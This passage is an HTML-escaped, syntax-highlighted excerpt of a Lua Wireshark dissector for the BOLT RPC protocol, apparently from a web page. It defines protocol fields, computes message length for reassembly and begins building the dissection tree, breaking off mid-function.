&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_header&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.header&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Header&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_content&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bolt_proto.fields&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_cmdcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_version2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_req_id&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_codec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_timeout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_response_status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                      &lt;span class=&#34;n&#34;&gt;f_classlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_headerlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_contentlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_class&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;get_pdu_length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- BOLT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;or&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;22&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kr&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;-- 继续&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;22&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;--response&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kr&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;-- 继续&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- create the dissection function&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;bolt_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;dissector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pinfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tree&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- check the protocol&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;check_proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;check_proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;~=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- Set the protocol column&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;pinfo.cols&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;protocol&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;BOLT&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- Reassembling packets into one PDU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdu_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;get_pdu_length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdu_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;pinfo.desegment_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pdu_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;pinfo.desegment_offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- create the BOLT protocol tree item&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tree&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bolt_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;protocol&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;protocol&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- TB REMOTING&lt;/span&gt;
